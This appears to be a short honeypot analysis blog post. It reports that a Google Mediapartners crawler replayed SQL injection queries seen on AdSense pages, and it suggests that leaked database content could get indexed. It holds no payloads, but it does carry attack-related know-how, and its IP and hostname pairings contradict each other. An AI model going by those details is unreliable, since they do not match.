Today, same as every day, I have verify ZATAZ HoneyNet activities for the last 24 hours, and detect a SQL injection attempts on one of our servers. Actually looking a way to better attract the SQL Injection activities, I have look if one of my tactics has got some results. Analyzing the datas of the SQL injections attacks I was surprised about the result.
The source IP from this SQL injection attempt is Google, and more precisely one of the Google Mediapartners crawlers (188.8.131.52 – crawl-66-249-65-12.googlebot.com), confirmed by the whois on the IP address.
Here under you can find the activity of this Google Mediapartner crawler on our HoneyNet.
The count of the 5 fingerprints for today are due to multiple pattern detection from the HoneyNet.
For the current month, this is not the only time, that the Google crawler was detected as potential source of an attack.
Most of time, the crawler reporting a lot of IDS false positives. We have to go deeper in the investigation to act theses alerts as false negatives or not.
The 133304 and 131291 CIDs are really false positives during indexing activities.

We can see that after “18.104.22.168” IP address has access a web page containing an AdSense ads, the Mediapartners Google bot has directly re index the same page, and replaying exactly the same query containing the SQL injection attempt.
It is clearly a false positive, Google is not targeting your website with SQL Injection, or RFI, attacks attempts. The bot is only replaying what previous attackers had attempt.
This point is interesting, cause if for example the SQL injection was successful, normally the content of your database will be displayed into the web page. A few seconds later, the Google Mediapartners bot will replay the same SQL injection query, and will he index the content of the database displayed into the web page ? After some deeper investigations it seems that yes.
